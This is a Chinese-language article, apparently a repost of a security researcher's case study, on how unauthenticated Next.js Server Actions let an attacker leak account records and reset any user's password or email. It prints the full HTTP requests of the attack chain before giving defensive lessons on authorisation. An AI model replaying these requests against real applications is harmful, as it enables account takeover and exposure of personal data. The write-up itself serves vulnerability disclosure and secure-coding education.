首页 / 文章

为何 Next.js Server Actions 需要在每个函数体内部进行授权

一起经过详细分析的账户接管案例展示了未经身份验证的 Next.js Server Actions 如何暴露特权操作,以及应在何处设置授权检查才能阻止此类行为。

发布者:REACTAPP.TOP阅读约 4 分钟994 词

来源: Unauthenticated Next.js Server Actions Leading to Zero Click Account Takeover

Next.js 的 Server Actions 允许 React 组件直接调用服务器函数,无需经过 API 路由中间层。这种便利性消除了许多团队习惯在授权检查所在的位置——即路由处理程序中进行检查的做法。当授权检查没有与业务逻辑一同放在函数体内时,任何能够找到该函数标识符的人都可以调用它。下面的案例展示了一个真实的订阅门户中出现的此类安全漏洞:两个未受保护的操作被串联起来,导致无需点击即可完成账户接管,随后文中还介绍了本应用于防范此类情况的防御规则。

Server Actions 的实际调用机制

在 App Router 下,Server Action 是一种可直接从组件中调用的服务器函数。框架会为每个动作分配一个 40 位的十六进制 ID,将该 ID 包含在客户端代码包中,并将调用转换为带有 Next-Action 标头的 POST 请求。关键点在于,调度是依据该标头而非 URL 路径来进行的,而请求体则仅仅是按位置传递的函数参数。

那种设计存在一个容易被忽视的后果:由于没有可以包裹在中间件中的路由文件,因此不存在框架级防护机制在代码执行前介入的天然节点。如果授权检查并非写在函数内部,那就根本不会进行任何检查。任何人只要从打包好的代码中提取出操作标识符,并根据压缩后的调用地址还原参数结构,就能在无需会话cookie的情况下重新发送请求。

第一个操作:接收邮件,输出敏感记录

在那个门户网站上,没有cookie、没有授权标头,也没有任何其他能识别请求来源的信息的请求会到达第一个操作。请求体中仅包含一个电子邮件地址和一个布尔值。

POST /particuliers/integrale-web-mensuel-2116 HTTP/2
Host: subdomain.target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Next-Action: 42a24b711d12f695d798b371e38b584c551ebb6a
Content-Type: text/plain;charset=UTF-8
Accept: text/x-component
["victim@gmail.com",true]

响应返回了该邮箱对应的完整账户记录。

{
"user_id": "auth0|000000000000000000000001",
"email": "researcher@example.com",
"identities": [
{ "provider": "auth0", "connection": "www-target-com" }
],
"app_metadata": {
"subscriber_number": "900000000",
"custom_user_id": "00000000–0000–4000–8000–000000000000"
}
}

该载荷的格式正是关键线索。identities和app_metadata这类字段并非由身份提供方的公共认证 API 提供,而是来自其管理 API——即通过包含读取和更新用户等权限的机器对机器令牌访问的管理员界面。若在未经过认证的请求中获取到这些数据,说明服务器上存在具有特殊权限的令牌,且有匿名函数正在悄悄使用它。这不仅本身就是一个问题,响应中还提供了后续操作所需的两个值:用户 ID 和连接名称。

第二个操作:设置任意用户的密码

该操作接受一个对象和一个字符串。对象中包含密码和连接信息,而字符串则是用户 ID。在针对仍未经认证的测试账户发送请求时,其格式如下。

POST / HTTP/2
Host: subdomain.target.com
Next-Action: 89abcdef0123456789abcdef0123456789abcdef
Content-Type: text/plain;charset=UTF-8
Accept: text/x-component
[{"password":"<REDACTED>","connection":"www-target-com"},"auth0|000000000000000000000001"]

该请求并未证明任何问题:没有会话cookie,不知道现有密码,也没有重置令牌或邮件确认信息,更没有升级提示。服务器以成功响应并返回了更新后的用户对象。关键缺陷在于用户ID的来源:它是调用方提供的第二个参数,而非从会话或带签名的令牌的主体声明中读取的。该函数会更改其被指示修改的账户。

相同操作,不同字段,劫持后的恢复路径

由于第一个参数会直接传递给身份提供方的用户更新功能,因此你在其中填写的哪个字段就会被修改。如果将密码替换为电子邮件地址,那么账户的电子邮件信息就会被更新。

POST / HTTP/2
Host: subscribe.target.com
Next-Action: 89abcdef0123456789abcdef0123456789abcdef
Content-Type: text/plain;charset=UTF-8
Accept: text/x-component
[{"email":"attacker@example.com","connection":"www-target-com"},"auth0|000000000000000000000001"]

结果依然是成功,且同样没有进行任何所有权检查。这种情况比看上去更糟糕:账户地址是密码重置信息发送的地点,一旦该地址被攻击者获取,真实所有者的恢复流程就无法再回到他们手中。由于是直接设置密码而非借用会话,因此获得的访问权限不会自动过期。

此案例带来的启示

服务器操作实际上就是披着函数外衣的后端接口,因此同样值得怀疑。凡是处理敏感数据或状态的操作都应加入授权检查,并在执行其他操作前确认调用者身份。用户的身份应从会话或经过验证的令牌中获取,绝不能依赖客户端可控的参数——这样即使请求中指定了受害者的ID,服务器也不会照做。应将具有特殊权限的提供者令牌置于无需认证即可访问的代码路径之外。同时,由于操作ID会发送到浏览器中,应将其视为公开信息;隐蔽性并不能替代访问控制。客户端能够调用的任何函数,攻击者同样可以调用,而保护数据安全的唯一手段就是你在代码中实现的那些检查机制。